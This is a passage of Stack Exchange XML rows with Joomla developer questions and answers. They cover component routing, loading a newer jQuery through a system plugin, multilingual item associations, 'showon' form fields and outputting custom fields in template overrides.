  <row Id="26733" PostTypeId="2" ParentId="26731" CreationDate="2020-02-15T16:41:43.147" Score="1" Body="&lt;p&gt;(Not a proper answer, I'm afraid, just some thoughts – easier to write as an answer rather than lots of comments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I believe you're right about the need to have a menuitem which is associated with your component. Otherwise you're going to end up with the &lt;code&gt;https://mysite.com/component/mycomponent/xxx&lt;/code&gt; format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly a good administrator will be concerned about the format of the URLs on the site, so I think it's good for the admin to know that your component output is associated with a specific menuitem (even if hidden). Also they may want to present that page slightly differently (eg different format or modules shown on that page), and any special webpage presentation aspects are defined via the menuitem. So it's good for the admin to be involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, I think that your idea of creating a hidden menu item in the installation is a good one, even if it means a bit more code. This will provide a good examplar for the admin. To help with handling duplicates you might find useful the &lt;code&gt;AdminModel::generateTitle&lt;/code&gt; and &lt;code&gt;AdminModel::generateNewTitle&lt;/code&gt; code, where Joomla itself has to deal with duplicates when it's auto-generating an alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you thought about a site which has multiple menus? Which one would you add the menuitem to? Maybe you have to generate one menuitem for each menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if your component supports multiple languages, but if it's a multilingual site then I reckon you'll need to add a menuitem to each of the menus for the different languages, and then when you include the language in the &lt;code&gt;JRoute::_&lt;/code&gt; call, Joomla should find your menuitem for the right language. (Remember, the admin may be presenting differently the different language versions of the website, eg using different templates, so you want different menuitems for your component for that case). And the admin might subsequently introduce a new content language with its own menu ...!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned about an admin wanting 2 menuitems to work with your component, and that may be true. So you'd need to work out how to decide which to use at any given time. For this you might find the menuitem &lt;code&gt;Note&lt;/code&gt; field useful and match what's in it via some criterion with the data in your component. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-02-15T16:41:43.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26734" PostTypeId="2" ParentId="26731" CreationDate="2020-02-16T14:43:04.697" Score="1" Body="&lt;p&gt;From the answers comments and further scouring of the codebase, I think the answer is that, no, its not possible for a component to claim a route in Joomla without a menu item id associated with a view from that component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla docs explicitly confirm this in &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Search_Engine_Friendly_URLs#Route_Formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;, which says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;neither Joomla! nor any component router can create URLs with a different first [ segment of the path ]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#Routers_and_Menu_Items&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; goes on to add:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... the output of the component router is used after the first segment of a route, the first segment being the menu item's alias. This creates a difficult question: how is your router and/or other code to know which menu item to route through?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The solution described, which is used in the core, is to create a &lt;code&gt;[componentname]HelperRoute&lt;/code&gt; class (the docs have an error , switching Helper and Route). The job of this class is, as the docs say is to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;find the most suitable menu item for a given piece of data to be displayed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are examples of this in the core components helper route classes TagsHelperRoute and FinderHelperRoute, which both go looking for an appropriate menu item id and add it as a query string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These helper methods are used when calling &lt;code&gt;JRoute::_&lt;/code&gt;, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(TagsHelperRoute::getTagRoute($item-&amp;gt;id . ':' . $item-&amp;gt;alias));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Overall, Joomla's routing system, with its menu item ids, in hindsight seems to be a bit of an architectural error.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2020-02-16T14:43:04.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26735" PostTypeId="1" AcceptedAnswerId="26741" CreationDate="2020-02-16T18:09:25.120" Score="2" ViewCount="61" Body="&lt;p&gt;I have a form created with the breezingForms extension for Joomla. I'd like to store the currently logged in user's name with the form. I don't need to continue to use the same extension. However, what we like about that extension is that it has a form builder that doesn't require code.&lt;/p&gt;&#xA;" OwnerUserId="14112" LastActivityDate="2020-02-20T03:16:25.163" Title="Is there an easy way to build a form in Joomla that stores the currently logged in user's name?" Tags="|form|profile|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26736" PostTypeId="1" AcceptedAnswerId="26743" CreationDate="2020-02-16T23:28:31.067" Score="0" ViewCount="57" Body="&lt;p&gt;I am working on a custom component. Most input are numbers, therefor not translatable. There are also some strings that can be translated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of having the user duplicate each item to a new language and make the associations, a custom translations table is used. This way users can add items in multiple languages, without needing to to duplicate and associate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These items are structured into categories. As each category has a menu item, it's possible to set the association in the menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the items themselves do not use menu item. Their individual pages are accesable via the categories. Therefor there are no association. :\&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resulting in:... when on an item page, and switching language, the site shows the parent category in the new language. While I want to see the same item as before language switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question: &lt;strong&gt;Is it possible to associate an item with itself in multiple languages?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips and insights are most welcome.&#xA;Thanks! :)&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2020-02-19T14:24:34.043" Title="Possible to associate item with itself?" Tags="|custom-component|multilingual|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26737" PostTypeId="1" AcceptedAnswerId="26738" CreationDate="2020-02-18T02:34:10.487" Score="4" ViewCount="2577" Body="&lt;p&gt;Is it possible to override the native &lt;code&gt;JHtml::_('jquery.framework')&lt;/code&gt; loaded by Joomla, using some line of php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand I could replace this line in my template. But since I am using a template builder, it will just be back after a next update. That being said, I can add some php to the template before writing changes. So if there was some line of php I could use to disable the loading of the jQuery framework? That would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this question is because I have a nearly perfect score in LightHouse test. But it gives me some warning the used jQuery library has some known vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1jL4q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1jL4q.png&quot; alt=&quot;screenshot LightHouse warning&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a newer version of jQuery ready in my template folders to load instead.&#xA;Or does Joomla really need the 1.x version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights are most appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2021-05-18T05:27:48.333" Title="Is it possible to load a newer jQuery version?" Tags="|templates|jquery|template-override|security|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26738" PostTypeId="2" ParentId="26737" CreationDate="2020-02-18T07:19:25.113" Score="8" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Or does Joomla really need the 1.x version?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Joomla itself may work mostly fine with newer jQuery versions. The reason it ships with such an old version is compatibility for 3rd party extensions.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;So if there was some line of php I could use to disable the loading of the jQuery framework?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To disable jQuery loading completely you would have to either make a plugin to override &lt;code&gt;JHtml::_('jquery.framework')&lt;/code&gt; or create overrides for any layouts that end up loading jQuery. The plugin can also be used to load a custom version:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or exit;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemExample extends CMSPlugin&#xA;{&#xA;    // Cache to allow running code only once.&#xA;    protected static $loaded = false;&#xA;&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        // Check that the method hasn't been used yet.&#xA;        if (!HTMLHelper::isRegistered('jquery.framework'))&#xA;        {&#xA;            // Register our custom method.&#xA;            HTMLHelper::register('jquery.framework', [__CLASS__, 'framework']);&#xA;        }&#xA;    }&#xA;    &#xA;    public static function framework($noConflict = true, $debug = null, $migrate = true)&#xA;    {&#xA;        // Load only once.&#xA;        if (static::$loaded)&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Load the main library&#xA;        HTMLHelper::_('script', 'https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js');&#xA;&#xA;        // Check if we are loading in noConflict.&#xA;        if ($noConflict)&#xA;        {&#xA;            Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;addScriptDeclaration('jQuery.noConflict();');&#xA;        }&#xA;&#xA;        // Check if we are loading Migrate.&#xA;        if ($migrate)&#xA;        {&#xA;            HTMLHelper::_('script', 'https://cdnjs.cloudflare.com/ajax/libs/jquery-migrate/3.0.1/jquery-migrate.min.js');&#xA;        }&#xA;&#xA;        // Enable cache flag.&#xA;        static::$loaded = true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or, if you want to override jQuery script at the template level, place your custom script in &lt;code&gt;templates/your_template/js/jui/jquery.min.js&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-05-18T05:27:48.333" LastActivityDate="2021-05-18T05:27:48.333" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26739" PostTypeId="2" ParentId="26725" CreationDate="2020-02-18T20:40:48.503" Score="1" Body="&lt;p&gt;I have never used DPCalendar, so your mileage may vary, but I've had some luck tinkering with getting custom fields in overrides like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $item-&amp;gt;jcfields[n]-&amp;gt;rawvalue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;n in this example is the array position of the desired custom field. Raw value retrieves the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a nice explanation in the Joomla documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides/en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12697" LastActivityDate="2020-02-18T20:40:48.503" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26740" PostTypeId="1" CreationDate="2020-02-18T23:49:21.560" Score="0" ViewCount="69" Body="&lt;p&gt;In a custom component I have some component params (config.xml) and I have some menu item params (default.xml).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the component params I make use of the &lt;code&gt;showon&lt;/code&gt; attribute many times. But to keep it brief, I will show 1 example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;currency_decimals&quot; &#xA;    type=&quot;number&quot; &#xA;    default=&quot;0&quot; &#xA;    min=&quot;0&quot; &#xA;    max=&quot;3&quot; &#xA;    size=&quot;2&quot; &#xA;/&amp;gt;   &#xA;&#xA;&amp;lt;field name=&quot;currency_decimals_sep&quot; &#xA;    default=&quot;,&quot; &#xA;    type=&quot;text&quot; &#xA;    showon=&quot;currency_decimals!:0&quot; &#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As expected, the '&lt;em&gt;decimals separator&lt;/em&gt;' field is only visible when '&lt;em&gt;currency decimals&lt;/em&gt;' is not 0, because of the &lt;code&gt;showon&lt;/code&gt; attribute. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I also made some menu item params to override this behavior on some pages. And that's where I get a bit stuck. Because my component params are set to 0 decimals, the '&lt;em&gt;decimals field&lt;/em&gt;' shows '&lt;strong&gt;&lt;em&gt;Use Global (0)&lt;/em&gt;&lt;/strong&gt;'. But the '&lt;em&gt;decimal separator&lt;/em&gt;' field is still visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hTHDK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTHDK.png&quot; alt=&quot;screenshot menu item parameter&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;currency_decimals&quot; &#xA;    useglobal=&quot;true&quot; &#xA;    type=&quot;number&quot; &#xA;    min=&quot;0&quot; &#xA;    max=&quot;3&quot; &#xA;    size=&quot;2&quot; &#xA;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;currency_decimals_sep&quot; &#xA;    useglobal=&quot;true&quot; &#xA;    type=&quot;text&quot; &#xA;    showon=&quot;currency_decimals!:0&quot; &#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I manually set the value to 0. The '&lt;em&gt;decimal separator&lt;/em&gt;' field hides. But &lt;strong&gt;it doesn't respond to global setting&lt;/strong&gt;, defined by component config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read the &lt;a href=&quot;https://docs.joomla.org/Form_field#Showon&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla documentation&lt;/a&gt; on this but didn't find a solution. Any ideas on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All input is most welcome. Thanks! :)&lt;/p&gt;&#xA;" OwnerUserId="13507" LastEditorUserId="13507" LastEditDate="2020-02-19T02:18:44.790" LastActivityDate="2020-02-19T17:05:18.513" Title="How to use 'showon' with global settings in menu item parameter?" Tags="|custom-component|custom-field|xml|global-configuration|menu-parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26741" PostTypeId="2" ParentId="26735" CreationDate="2020-02-19T01:37:11.523" Score="4" Body="&lt;p&gt;If you don't need to use the username for something else (which might require coding that you're trying to avoid), I know that RSForms has global placeholders for data it automatically saves for the form. That includes username if the user was logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RSForms Pro also has a set of global placeholders (see &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/getting-started/component-emails.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/getting-started/component-emails.html&lt;/a&gt;) should you need to display the information later (eg thank you page, admin email, user email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Crosstec post by @FFrewin gives a perfectly adequate solution that would be common to calling the user information from the Joomla API into any content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a little bit of code would not be something I'd be shying away from as that's where the power of the Joomla API often lies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of curiosity, what's the reason you're not wanting to get out of Easymode? That may expand how to create a workaround using extensions like a combination of Regular Labs Snippets, ReReplacer and Sourcer to create your own mini plugin calls.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="12352" LastEditDate="2020-02-20T03:16:25.163" LastActivityDate="2020-02-20T03:16:25.163" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26742" PostTypeId="1" CreationDate="2020-02-19T10:52:02.807" Score="2" ViewCount="510" Body="&lt;p&gt;I have created a custom field &lt;code&gt;date&lt;/code&gt; and added content to the articles of a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I now sort the articles in the category blog overview by this field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should a blog.php and blog_item.php override look like?&lt;/p&gt;&#xA;" OwnerUserId="14117" LastEditorUserId="12352" LastEditDate="2020-02-20T08:26:22.730" LastActivityDate="2024-03-16T16:03:40.420" Title="How do I sort articles in category blog using a custom field value?" Tags="|overrides|template-override|custom-field|sorting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26743" PostTypeId="2" ParentId="26736" CreationDate="2020-02-19T14:24:34.043" Score="2" Body="&lt;p&gt;I'm presuming it's the Joomla Language Switcher module which you're using to switch languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, this module has to generate the links which are behind the little flag symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does this by calling the &lt;code&gt;getAssociations()&lt;/code&gt; method of a HelperAssociation class for your component, as described at&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Associations#Front_End&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Associations#Front_End&lt;/a&gt;. The Language Switcher module looks to get back an associative array, the array key being the language code, and the array value being the url for the corresponding item in that language. It then outputs a little flag symbol associated with the language code, and puts a link to the associated url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So inside your component source code directory create a (site) &lt;code&gt;helpers&lt;/code&gt; folder (if not already there), and inside a file called &#xA;&lt;code&gt;association.php&lt;/code&gt; put the code for your &lt;code&gt;YourcomponentHelperAssociation&lt;/code&gt; class and the &lt;code&gt;getAssociations()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not totally sure what way your component data is set up, but I think you're saying that you use the same id for the same&#xA;item in different languages. So if that's the case, you'll want something like what's below. (Replace &quot;yourcomponent&quot;, &quot;yourviewname&quot;, &quot;yourviewname&quot; with appropriate strings).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;JLoader::register('CategoryHelperAssociation', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/association.php');&#xA;&#xA;abstract class YourcomponentHelperAssociation extends CategoryHelperAssociation&#xA;{&#xA;&#xA;    public static function getAssociations($id = 0, $view = null)&#xA;    {&#xA;        $input = JFactory::getApplication()-&amp;gt;input;&#xA;        $view = $view === null ? $input-&amp;gt;get('view') : $view;&#xA;        $id = empty($id) ? $input-&amp;gt;getInt('id') : $id;&#xA;&#xA;        if ($view === 'yourviewname')&#xA;        {&#xA;            if ($id)&#xA;            {&#xA;                $languages = JLanguageHelper::getContentLanguages();&#xA;                $return = array();&#xA;                foreach ($languages as $language =&amp;gt; $details)&#xA;                {&#xA;                    $link = 'index.php?option=com_yourcomponent&amp;amp;view=yourviewname&amp;amp;id=' . $id . '&amp;amp;lang=' . $language;&#xA;                    $return[$language] = $link;&#xA;                }&#xA;&#xA;                return $return;&#xA;            }&#xA;        }&#xA;&#xA;        if ($view === 'yourcategoryview')&#xA;        {&#xA;            return self::getCategoryAssociations($id, 'com_yourcomponent');&#xA;        }&#xA;&#xA;        return array();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, follow the example in the Joomla MVC tutorial.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-02-19T14:24:34.043" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26745" PostTypeId="1" AcceptedAnswerId="26747" CreationDate="2020-02-19T15:51:12.483" Score="1" ViewCount="103" Body="&lt;p&gt;I'm having difficulties when trying to implement the example given on &lt;a href=&quot;https://docs.joomla.org/Framework:Creating_a_Stand-alone_Application#Examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Framework:Creating_a_Stand-alone_Application#Examples&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do the first example and I'm getting an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: require(): Failed opening required '../libraries/import.php' (include_path='.;C:\php\pear') in C:\AppServ\www\framework\examples\hello.php on line 5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1); define('JPATH_BASE', dirname(FILE));&#xA;&#xA;require '../libraries/import.php';&#xA;&#xA;class HelloWorld extends JApplicationCli { public function execute() { $this-&amp;gt;out('Hello World'); } }&#xA;&#xA;JApplicationCli::getInstance('HelloWorld')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I came to check the files and there is no libraries folder or import.php file. Both composer and the framework are installed. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="12352" LastEditDate="2020-02-20T03:08:40.263" LastActivityDate="2020-02-20T03:08:40.263" Title="Joomla Framework folder &quot;libraries&quot; missing" Tags="|joomla-framework-1.x|libraries|cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26746" PostTypeId="2" ParentId="26740" CreationDate="2020-02-19T17:05:18.513" Score="1" Body="&lt;p&gt;The interesting bit here, I think, is that the &quot;Use Global&quot; option leaves the field empty so this simple approach will work for you, but only as long as the global value is 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;showon=&quot;currency_decimals!:[AND]currency_decimals!:0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is the form code doesn't know what the global value is, it only knows the field is empty or filled with a value. Empty == use the global value (if useglobal is defined for the field). So if you were to come along and define a global value of, say, 3 for this field, the second field would still be hidden for &quot;Use Global&quot; -- not exactly what you're after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two ways to work around that, but both require writing some code (which you seem capable of since you built a custom component) that I'll describe so you can work whichever mechanism you're more comfortable with into the component. The complicating factor here is javascript shows/hides the field, PHP cannot, but PHP knows what the global config value is, not javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do it in PHP, you'd need to render the field yourself, and if there is not already a stored value for it, take the global value and insert &lt;em&gt;it&lt;/em&gt; as the value for the field. (This effectively eliminates the flexibility of &quot;Use Global&quot; as a side effect, so maybe it's not the best way, but it's the only pure PHP way.) You might be able to manage that in an override of the /form/field/number.php layout file, but that would be template dependent and would override all number fields. Safer would probably be creating a custom field type for this and doing it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The (probably preferable) javascript-based mechanism would be to write your own show/hide javascript, and ignore the built-in &quot;showon&quot; mechanism. Add a class name to the field to identify them to the javascript, then read the placeholder for the input field and parse the value inside the parens (&quot;Use Global (0)&quot;, for example, would get parsed to &quot;0&quot;) to get the current value of the global, then show/hide based on it if the field value is empty. You could use the existing js as a template for it, if it would help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use different &quot;showon&quot; values with this code you could build them into the class. For example, to show on values greater than 3 use class &quot;showon-g3&quot; and attach the js to class &quot;showon-*&quot;, then read the class names to find the value to use in your js.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-02-19T17:05:18.513" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26747" PostTypeId="2" ParentId="26745" CreationDate="2020-02-19T17:27:49.600" Score="1" Body="&lt;p&gt;That doc page references a dead version of the project (joomla/joomla-framework which hasn't seen activity for a half-decade or more) which is a good indication that the rest of it is outdated as well. The current project files are at &lt;a href=&quot;https://github.com/joomla-framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework&lt;/a&gt; and the official site is &lt;a href=&quot;https://framework.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://framework.joomla.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a current example application, try looking at joomla/framework.joomla.org on github and see if that can help you get started.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-02-19T17:27:49.600" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26748" PostTypeId="2" ParentId="26725" CreationDate="2020-02-19T23:03:13.050" Score="2" Body="&lt;p&gt;As mentioned in the other answer, &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&lt;/a&gt; is the key description to understand. To quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Basically you have all the custom fields corresponding to the current item accessible via a new property in your &lt;code&gt;$item&lt;/code&gt; variable called &lt;code&gt;jcfields&lt;/code&gt;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and that Joomla documentation page lists all the fields of the &lt;code&gt;jcfields&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the DP Calendar &lt;code&gt;mod_dpcalendar_upcoming&lt;/code&gt; module the items are held in the variable &lt;code&gt;$events&lt;/code&gt;, and the code iterates over &lt;code&gt;$events&lt;/code&gt; from the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($events as $index =&amp;gt; $event) { &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that within that foreach loop &lt;code&gt;$event-&amp;gt;jcfields&lt;/code&gt; is an array of data relating to the custom fields which you have, one array element for each custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you need to do is create an override for the &lt;code&gt;mod_dpcalendar_upcoming&lt;/code&gt; module as described in &lt;a href=&quot;https://docs.joomla.orgJ3.x:How_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.orgJ3.x:How_to_use_the_Template_Manager#Creating_Overrides&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to edit the override &lt;code&gt;default.php&lt;/code&gt; file (which you show in your question) so that the &lt;code&gt;reglink&lt;/code&gt; field is output, again as described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, add near the top of the default.php file the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then output the &lt;code&gt;reglink&lt;/code&gt; field wherever you want it to appear by including the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($event-&amp;gt;jcfields as $field) {&#xA;        if ($field-&amp;gt;name = &quot;reglink&quot;) {&#xA;            echo FieldsHelper::render($field-&amp;gt;context, 'field.render', array('field' =&amp;gt; $field));&#xA;            break;&#xA;        } &#xA;    }  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I tried it out just above the line with if &lt;code&gt;($params-&amp;gt;get('show_price')&lt;/code&gt; ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can just output the URL (without the field label) with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $field-&amp;gt;value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of echoing the &lt;code&gt;FieldsHelper::render&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-02-19T23:03:13.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26749" PostTypeId="2" ParentId="26725" CreationDate="2020-02-20T02:56:05.053" Score="1" Body="&lt;p&gt;What you try to achieve is this. I point you to an quick snippet to point you to the right direction. Here it is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;latestnews&quot;&amp;gt;&#xA;&amp;lt;ul class=&quot;list-group list-group-flush&quot;&amp;gt;&#xA;  &amp;lt;?php foreach ($list as $item) : $image = json_decode($item-&amp;gt;images); ?&amp;gt;&#xA;  &amp;lt;?php&#xA;    // most important part&#xA;    // context: &#xA;    // for articles: com_content.article&#xA;    // for users: com_users.user&#xA;    // etc...&#xA;    $jcfields = FieldsHelper::getFields('com_content.article', $item, true);&#xA;&#xA;    // bonus: custom fields by name&#xA;    // usage: $fields_by_name['name-of-field']-&amp;gt;value&#xA;    $fields_by_name = \Joomla\Utilities\ArrayHelper::pivot($jcfields, 'name');&#xA;&#xA;  